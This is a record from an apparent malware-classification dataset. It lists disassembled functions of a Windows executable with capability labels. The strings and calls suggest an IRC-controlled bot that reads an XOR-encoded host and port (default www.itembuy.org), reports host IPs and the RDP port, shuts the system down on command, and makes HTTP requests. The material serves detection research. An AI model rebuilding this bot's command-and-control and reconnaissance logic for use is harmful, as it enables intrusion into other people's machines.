joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003340
Capabilities:
Connect socket

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor eax, eax
mov rbx, rcx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [rax + 1]
lea ecx, [rax + 2]
mov word [rsp + 0x28], ax
mov byte [rsp + 0x2a], al
mov byte [rsp + 0x20], 5
mov byte [rsp + 0x21], al
mov byte [rsp + 0x22], al
mov byte [rsp + 0x23], 1
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 8], rax
cmp rax, 0xffffffffffffffff
jne 0x1400033c0
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 0xa
mov byte [rsp + 0x21], 1
call fcn.1400012e0
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
mov rdx, qword [0x14002dfe0]
mov r9d, gethostbyname
mov r8d, 0x402
mov rcx, rax
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
je 0x140003393
mov rcx, qword [rbx + 8]
lea rdx, [rbx + 0x5c]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140003407
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140003393
cmp dword [0x14002dfe8], 0
je 0x140003445
lea rcx, str.Connecting_To___
call fcn.14001347c
mov ecx, dword [rbx + 0x60]
call qword [sym.imp.WS2_32.dll_ntohl]
mov ecx, eax
call fcn.1400013d0
movzx ecx, word [rbx + 0x5e]
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, str._____d_n
movzx edx, ax
call fcn.14001347c
mov r8d, dword [rbx + 0x38]
mov rcx, qword [rbx + 0x30]
xor edx, edx
call fcn.140013cc0
mov r11, qword [rbx + 0x30]
lea rdx, [rsp + 0x20]
mov rcx, qword [rdx]
mov eax, 1
mov qword [r11], rcx
movzx ecx, word [rdx + 8]
mov word [r11 + 8], cx
mov rcx, qword [rbx + 0x30]
mov byte [rcx + 0xa], 0
mov dword [rbx + 0x3c], 0xa
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret

Function at 0x1400037b0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.KERNEL32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14002e250], rax
test rax, rax
je 0x1400038a3
lea rdx, str.CreateTimerQueue
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14002e250]
lea rdx, str.CreateTimerQueueTimer
mov qword [0x14002d8f0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14002e250]
lea rdx, str.DeleteTimerQueueEx
mov qword [0x14002d8f8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14002e250]
lea rdx, str.DeleteTimerQueueTimer
mov qword [0x14002da98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14002e250]
lea rdx, str.ChangeTimerQueueTimer
mov qword [0x14002d8e0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x14002d8f0], 0
mov qword [0x14002d8e8], rax
je 0x14000388b
cmp qword [0x14002d8f8], 0
je 0x14000388b
cmp qword [0x14002da98], 0
je 0x14000388b
cmp qword [0x14002d8e0], 0
je 0x14000388b
test rax, rax
je 0x14000388b
mov eax, 1
add rsp, 0x28
ret
mov rcx, qword [0x14002e250]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov qword [0x14002e250], 0
xor eax, eax
add rsp, 0x28
ret
Function at 0x140003cd0
Capabilities:
Connect socket

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [0x14002db48]
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [0x14002db5c]
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
mov ebx, 2
mov word [rsp + 0x22], ax
xor eax, eax
mov word [rsp + 0x20], bx
xchg dword [0x14002df60], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edx, [rbx - 1]
xor r8d, r8d
mov ecx, ebx
mov dword [0x14002df78], eax
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x14002db40], rax
cmp rax, 0xffffffffffffffff
je 0x140003d78
mov rdx, qword [0x14002dfe0]
lea r9d, [rbx + 0x31]
mov r8d, 0x405
mov rcx, rax
call qword [sym.imp.WS2_32.dll_WSAAsyncSelect]
cmp eax, 0xffffffff
jne 0x140003d8d
mov rcx, qword [0x14002db40]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [0x14002db40], 0xffffffffffffffff
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
movzx r8d, word [0x14002db5c]
lea rdx, [0x14002db48]
lea rcx, str.Connecting_To__s:_d_n
call fcn.14001347c
mov rcx, qword [0x14002db40]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140003dd2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140003d60
lea rcx, [0x14002db5e]
xor edx, edx
mov r8d, 0x440
call fcn.140013cc0
mov eax, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x40
pop rbx
ret
Function at 0x1400045a0
Capabilities:
Read .ini file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x440
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x430], rax
lea rcx, [0x14002d994]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
lea rdx, str.www.itembuy.org
lea rcx, [0x14002d994]
mov r8d, 0x7f
call fcn.140013620
lea rcx, [rsp + 0x30]
mov ebx, 0x56ce
xor edx, edx
mov r8d, 0x400
mov word [0x14002da14], bx
call fcn.140013cc0
lea rdi, [0x14002e000]
lea r9, [rsp + 0x30]
lea rdx, str.Host
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x140004655
lea rdx, [rsp + 0x30]
lea rcx, [0x14002d994]
mov r8d, 0x7f
call fcn.140013620
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
lea r9, [rsp + 0x30]
lea rdx, str.Port
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x1400046b8
lea rcx, [rsp + 0x30]
call fcn.140001270
test eax, eax
je 0x1400046b8
lea rcx, [rsp + 0x30]
call fcn.140014018
mov r11d, eax
mov word [0x14002da14], ax
jmp 0x1400046c0
mov r11w, word [0x14002da14]
movzx eax, r11w
cmp dword [0x14002e25c], eax
jne 0x140004768
mov edx, dword [0x14002e258]
cmp edx, 5
ja case.default.0x1400046ed
lea r8, [0x140000000]
mov ecx, dword [r8 + rdx*4 + 0x47e8]
add rcx, r8
jmp rcx
inc edx
mov dword [0x14002e258], edx
jmp 0x14000475a
inc edx
mov r11d, 0x3039
mov dword [0x14002e258], edx
jmp 0x140004760
inc edx
mov r11w, bx
mov word [0x14002da14], bx
mov dword [0x14002e258], edx
jmp 0x140004768
inc edx
mov r11d, 0x8235
mov dword [0x14002e258], edx
jmp 0x140004760
inc edx
mov r11d, 0xad9c
mov dword [0x14002e258], edx
jmp 0x140004760
mov r11d, 0xb26e
mov dword [0x14002e258], 0
jmp 0x140004760
mov dword [0x14002e258], 0
mov r11d, 0x52
mov word [0x14002da14], r11w
movzx eax, r11w
lea rcx, [0x14002d994]
mov word [0x14002db5c], r11w
mov dword [0x14002e25c], eax
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
je 0x140004795
lea rdx, [0x14002d994]
jmp 0x1400047a9
lea rcx, [0x14002d994]
call fcn.1400013a0
test rax, rax
je 0x1400047c2
mov rdx, rax
lea rcx, [0x14002db48]
mov r8d, reloc.WS2_32.dll_send
call fcn.140013620
mov eax, 1
jmp 0x1400047c4
xor eax, eax
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400135f0
mov rbx, qword [rsp + 0x450]
add rsp, 0x440
pop rdi
ret

Function at 0x140004800
Capabilities:
Encode data using xor

Disassembly:
test rcx, rcx
je 0x140004837
test edx, edx
je 0x140004837
xor r8d, r8d
test edx, edx
je 0x14000482c
mov r8d, edx
mov rax, rcx
mov edx, edx
nop dword [rax + rax]
xor byte [rax], 7
inc rax
sub rdx, 1
jne 0x140004820
mov byte [r8 + rcx], 0
mov eax, 1
ret
xor eax, eax
ret
Function at 0x140004c00
Capabilities:
Read .ini file

Disassembly:
sub rsp, 0x448
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x430], rax
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
lea rdx, [0x14002e000]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rdx
lea rcx, str.GlobalSettings
lea rdx, str.DNSSERVER
xor r8d, r8d
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x140004caf
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x440], rdi
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
call fcn.140004800
lea rcx, [rsp + 0x30]
call fcn.140004b60
mov rdi, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x448
ret
xor eax, eax
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x448
ret
Function at 0x140005510
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xe0
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.140013cc0
xor ecx, ecx
xor r11d, r11d
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov rdx, rbx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x28
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], r11
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x60], r11
mov dword [rsp + 0x70], WSAGetLastError
mov dword [rsp + 0xac], 1
mov word [rsp + 0xb0], cx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0xe0
pop rbx
ret

Function at 0x140006240
Capabilities:
Read .ini file

Disassembly:
push rdi
sub rsp, 0x440
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x430], rax
lea rcx, [0x14002d994]
xor edx, edx
mov r8d, 0x80
mov qword [rsp + 0x450], rsi
call fcn.140013cc0
lea rdx, str.www.itembuy.org
lea rcx, [0x14002d994]
mov r8d, 0x7f
call fcn.140013620
mov edx, 0x56ce
lea rcx, [rsp + 0x30]
mov word [0x14002da14], dx
mov r8d, 0x400
xor edx, edx
mov dword [0x14002d990], 0
call fcn.140013cc0
lea rsi, [0x14002e000]
lea r9, [rsp + 0x30]
lea rdx, str.Host
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140006321
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
call fcn.140004800
lea rdx, [rsp + 0x30]
lea rcx, [0x14002d994]
mov r8d, 0x7f
call fcn.140013620
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
lea r9, [rsp + 0x30]
lea rdx, str.Port
lea rcx, str.GlobalSettings
xor r8d, r8d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov rsi, qword [rsp + 0x450]
test eax, eax
je 0x1400063a5
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
not rcx
lea rdx, [rcx - 1]
lea rcx, [rsp + 0x30]
call fcn.140004800
lea rcx, [rsp + 0x30]
call fcn.140001270
test eax, eax
je 0x1400063a5
lea rcx, [rsp + 0x30]
call fcn.140014018
mov word [0x14002da14], ax
mov qword [0x14002da18], 0
call fcn.140004c00
mov eax, 1
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x440
pop rdi
ret
Function at 0x1400063e0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x240
xor ebx, ebx
mov r12d, r8d
mov rsi, rdx
mov rdi, rcx
mov dword [rax + 8], reloc.WS2_32.dll_recv
mov dword [rax + 0xc], ebx
mov ebp, ebx
cmp rcx, 0xffffffffffffffff
je 0x140001e8c
test rdx, rdx
je 0x140001e8c
lea rax, [rax + 8]
mov qword [rsp + 0x38], rcx
lea r8, [rsp + 0x30]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x140001e46
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x140001e46
xor r9d, r9d
mov r8d, r12d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
setne bpl
mov eax, dword [rsp + 0x30]
mov rcx, rbx
test eax, eax
je 0x140001e88
cmp qword [rsp + rcx*8 + 0x38], rdi
je 0x140001e65
inc ebx
inc rcx
cmp ebx, eax
jb 0x140001e51
mov eax, ebp
jmp 0x140001e8e
dec eax
cmp ebx, eax
jae 0x140001e88
lea r8, [rsp + rcx*8 + 0x38]
mov rcx, qword [r8 + 8]
inc ebx
add r8, 8
mov qword [r8 - 8], rcx
mov ecx, dword [rsp + 0x30]
dec ecx
cmp ebx, ecx
jb 0x140001e70
mov eax, ebp
jmp 0x140001e8e
xor eax, eax
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
push rdi
sub rsp, 0x20
mov r9, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r9
add rsp, 0x20
pop rdi
jmp 0x140001db0

Function at 0x140006470
Capabilities:
Shutdown system

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, str.SeShutdownPrivilege
mov edx, 1
call fcn.1400023c0
test eax, eax
jne 0x140006494
add rsp, 0x20
pop rbx
ret
lea rdx, [0x1400230d4]
mov rcx, rbx
call fcn.140013fc4
test eax, eax
jne 0x1400064b8
lea ecx, [rax + 6]
xor edx, edx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_ExitWindowsEx]
lea rdx, [0x1400230d0]
mov rcx, rbx
call fcn.140013fc4
test eax, eax
jne 0x1400064db
xor edx, edx
xor ecx, ecx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_ExitWindowsEx]
lea rdx, [0x1400230cc]
mov rcx, rbx
call fcn.140013fc4
test eax, eax
jne 0x1400064ff
lea ecx, [rax + 1]
xor edx, edx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_ExitWindowsEx]
lea rdx, [0x1400230c8]
mov rcx, rbx
call fcn.140013fc4
test eax, eax
jne 0x140006523
lea ecx, [rax + 8]
xor edx, edx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.USER32.dll_ExitWindowsEx]
mov eax, 1
add rsp, 0x20
pop rbx
ret
Function at 0x140009760
Capabilities:
Get hostname
Resolve dns

Disassembly:
push rbx
push rbp
sub rsp, 0x1d8
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rbp, rcx
mov rbx, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.140013cc0
lea rcx, [rsp + 0x140]
xor edx, edx
mov r8d, 0x80
call fcn.140013cc0
lea rcx, [rsp + 0x140]
mov edx, 0x80
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x14000980e
test rbx, rbx
jne 0x1400097e1
lea rdx, str._r_nFail_To_Get_Host_Name_r_n_r_n
mov rcx, rbp
call fcn.1400063e0
xor eax, eax
jmp 0x140009978
lea r8, str.PRIVMSG__s_:Fail_To_Get_Host_Name_r_n
lea rcx, [rsp + 0x30]
mov r9, rbx
mov edx, 0x103
call fcn.140013ac4
lea rdx, [rsp + 0x30]
mov rcx, rbp
call fcn.1400063e0
xor eax, eax
jmp 0x140009978
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x1d0], r12
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov r12, rax
test rax, rax
jne 0x140009874
test rbx, rbx
jne 0x140009847
lea rdx, str._r_nFail_To_Get_Host_By_Name_r_n_r_n
mov rcx, rbp
call fcn.1400063e0
xor eax, eax
jmp 0x140009970
lea r8, str.PRIVMSG__s_:Fail_To_Get_Host_By_Name_r_n
lea rcx, [rsp + 0x30]
mov r9, rbx
mov edx, 0x103
call fcn.140013ac4
lea rdx, [rsp + 0x30]
mov rcx, rbp
call fcn.1400063e0
xor eax, eax
jmp 0x140009970
mov qword [rsp + 0x208], rdi
test rbx, rbx
jne 0x140009890
lea rdx, str._r_nAll_IP_List:__r_n
mov rcx, rbp
call fcn.1400063e0
mov rax, qword [r12 + 0x18]
xor edi, edi
mov qword [rsp + 0x200], rsi
cmp qword [rax], rdi
je 0x140009947
mov rcx, rdi
lea esi, [rdi + 1]
nop
mov rax, qword [rcx + rax]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
test rax, rax
je 0x14000992a
test rbx, rbx
jne 0x1400098f7
lea r8, str._d:__s_r_n
lea rcx, [rsp + 0x30]
mov r9d, esi
mov edx, 0x103
mov qword [rsp + 0x20], rax
call fcn.140013ac4
lea rdx, [rsp + 0x30]
mov rcx, rbp
call fcn.1400063e0
test eax, eax
je 0x14000994c
jmp 0x14000992a
mov qword [rsp + 0x28], rax
lea r8, str.PRIVMSG__s_:_d:__s_r_n
lea rcx, [rsp + 0x30]
mov r9, rbx
mov edx, 0x103
mov dword [rsp + 0x20], esi
call fcn.140013ac4
lea rdx, [rsp + 0x30]
mov rcx, rbp
call fcn.1400063e0
test eax, eax
je 0x140009947
mov rax, qword [r12 + 0x18]
inc rdi
inc esi
lea rcx, [rdi*8]
cmp qword [rcx + rax], 0
jne 0x1400098b0
test rbx, rbx
jne 0x14000995b
lea rdx, str._r_nList_IP_List_Complete_r_n_r_n
mov rcx, rbp
call fcn.1400063e0
mov rdi, qword [rsp + 0x208]
mov rsi, qword [rsp + 0x200]
mov eax, 1
mov r12, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x1d8
pop rbp
pop rbx
ret

Function at 0x14000a4e0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x14000a527
xor edx, edx
lea rax, [rsp + 0x40]
mov r9, rcx
mov qword [rsp + 0x28], rax
lea r8, [0x140004020]
xor ecx, ecx
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000a527
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x38
ret
xor eax, eax
add rsp, 0x38
ret
Function at 0x14000a6d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x220
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x210], rax
mov rbx, rdx
xor edx, edx
mov rdi, rcx
lea rcx, [rsp + 0x81]
lea r8d, [rdx + 0x7f]
mov dword [rsp + 0x40], 8
mov byte [rsp + 0x80], 0
call fcn.140013cc0
xor eax, eax
lea r8, str.SystemCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
lea rcx, [rsp + 0x80]
lea edx, [rax + 0x7f]
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x69], rax
mov dword [rsp + 0x71], eax
mov word [rsp + 0x75], ax
mov byte [rsp + 0x77], al
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x38], rax
call fcn.140013ac4
mov rax, qword [str.PortNumBer]
lea r11, [rsp + 0x68]
mov edx, 0x103
lea rcx, [rsp + 0x100]
mov qword [r11], rax
movzx eax, word [0x140024d78]
mov word [r11 + 8], ax
movzx eax, byte [0x140024d7a]
mov byte [r11 + 0xa], al
test rbx, rbx
jne 0x14000a79b
lea r8, str._r_nFail_To_View_Terminal_Service_Port_r_n_r_n
call fcn.140013ac4
jmp 0x14000a7aa
lea r8, str.PRIVMSG__s_:Fail_To_View_Terminal_Service_Port_r_n
mov r9, rbx
call fcn.140013ac4
lea rax, [rsp + 0x38]
lea rdx, [rsp + 0x80]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000a84d
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000a842
mov edx, 0x103
lea rcx, [rsp + 0x100]
test rbx, rbx
jne 0x14000a82b
mov r9d, dword [rsp + 0x48]
lea r8, str._r_nTerminal_Service_Port:__d_r_n_r_n
call fcn.140013ac4
jmp 0x14000a842
mov eax, dword [rsp + 0x48]
lea r8, str.PRIVMSG__s_:Terminal_Service_Port:__d_r_n
mov r9, rbx
mov dword [rsp + 0x20], eax
call fcn.140013ac4
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x100]
mov rcx, rdi
call fcn.1400063e0
mov rcx, qword [rsp + 0x210]
xor rcx, rsp
call fcn.1400135f0
mov rbx, qword [rsp + 0x240]
add rsp, 0x220
pop rdi
ret
Function at 0x14000a880
Capabilities:
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
mov eax, 0x1188
call fcn.140021580
sub rsp, rax
mov rax, qword [0x14002c0b0]
xor rax, rsp
mov qword [rsp + 0x1170], rax
mov r13, qword [rsp + 0x11e0]
mov rsi, rcx
mov r12, r8
mov rbx, rdx
lea rcx, [rsp + 0x161]
mov r8d, 0x1003
xor edx, edx
mov rbp, r9
mov byte [rsp + 0x160], 0
call fcn.140013cc0
xor edi, edi
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x40], 0x1000
mov dword [rsp + 0x44], edi
mov byte [rsp + 0x50], dil
call fcn.140013cc0
test r12, r12
jne 0x14000a955
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000a932
lea r8, str._r_nFail_To_Connect_To_HTTP_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.1400063e0
xor eax, eax
jmp 0x14000aac3
lea r8, str.PRIVMSG__s_:Fail_To_Connect_To_HTTP_r_n
mov r9, rbx
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.1400063e0
xor eax, eax
jmp 0x14000aac3
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x80000000
lea r9, str.HTTP_1.1
lea rdx, [0x140024ec0]
mov r8, r13
mov rcx, r12
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp], rax
test rax, rax
jne 0x14000a9ca
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000a9be
lea r8, str._r_nFail_To_Open_HTTP_Request_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.1400063e0
xor eax, eax
jmp 0x14000aac3
lea r8, str.PRIVMSG__s_:Fail_To_Open_HTTP_Request_r_n
jmp 0x14000a939
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x14000aa1e
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000aa12
lea r8, str._r_nThe_File_Doesnt_Exist_Or_Fail_To_Send_HTTP_Request_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.1400063e0
xor eax, eax
jmp 0x14000aac3
lea r8, str.PRIVMSG__s_:The_File_Doesnt_Exist_Or_Fail_To_Send_HTTP_Request_r_n
jmp 0x14000a939
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x1004
call fcn.140013cc0
mov rcx, qword [rbp]
lea rax, [rsp + 0x44]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x160]
mov edx, 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x1000
mov dword [rsp + 0x44], edi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x14000aaa1
mov edx, 0x103
lea rcx, [rsp + 0x50]
test rbx, rbx
jne 0x14000aa95
lea r8, str._r_nFail_To_Query_The_File_Size_r_n_r_n
call fcn.140013ac4
lea rdx, [rsp + 0x50]
mov rcx, rsi
call fcn.1400063e0
xor eax, eax
jmp 0x14000aac3
lea r8, str.PRIVMSG__s_:Fail_To_Query_The_File_Size_r_n
jmp 0x14000a939
lea rdx, str.text_html
lea rcx, [rsp + 0x160]
mov r8d, 9
call fcn.140013a68
test eax, eax
setne dil
mov eax, edi
mov rcx, qword [rsp + 0x1170]
xor rcx, rsp
call fcn.1400135f0
add rsp, 0x1188
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret